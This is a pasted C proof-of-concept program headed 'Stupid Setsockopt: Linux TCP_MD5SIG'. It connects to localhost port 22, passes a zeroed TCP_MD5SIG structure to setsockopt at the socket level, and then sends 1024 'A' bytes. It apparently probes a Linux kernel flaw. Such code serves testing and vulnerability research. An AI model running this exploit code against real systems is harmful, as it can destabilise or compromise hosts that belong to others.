rendered paste body#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <sys/time.h>#include <time.h>#include <sys/ioctl.h>#define TCP_MD5SIG 14#define D_HOST "127.0.0.1"#define D_PORT 22struct tcp_md5sig { unsigned short pad1; unsigned short keylen; unsigned int pad2; unsigned char tcp_key[80];};int main(int argc, char **argv){ int sd = 0; int ret = 0; int op = 0; char *buf1; struct tcp_md5sig ksig; struct sockaddr_in l_addr; printf("---------[Stupid Setsockopt: Linux TCP_MD5SIG\n"); printf("---------[Anthony LaMantia <anthony@cellcrypt.com>\n"); sd = socket(PF_INET, SOCK_STREAM, 0); if (sd < 0) { printf("---------[error: socket()\n"); return -1; } printf("---------[socket: ok\n"); l_addr.sin_family = AF_INET; l_addr.sin_port = htons(D_PORT); l_addr.sin_addr.s_addr = inet_addr(D_HOST); memset(&(l_addr.sin_zero), 0,8); if ((ret = connect(sd,(struct sockaddr *)&l_addr,sizeof(struct sockaddr))) < 0) { printf("---------[error: connect() (%s:%i)\n", D_HOST, D_PORT); } printf("---------[connect(): (%s:%i)\n", D_HOST, D_PORT); memset((char *)&ksig, 0, sizeof(ksig)); ret = setsockopt(sd, SOL_SOCKET, TCP_MD5SIG, &ksig, sizeof(ksig)); if (ret == -1) { printf("---------[error: setsockopt() == -1\n"); } printf("---------[setsockopt: val: %i return %x\n",TCP_MD5SIG, ret); buf1 = alloca(1024); memset(buf1, '\x41', 1024); printf("---------[Sent: %i bytes to (%s:%i) SNIFF for MD5\n", send(sd, buf1, 1024, 0), D_HOST, D_PORT); return 0;}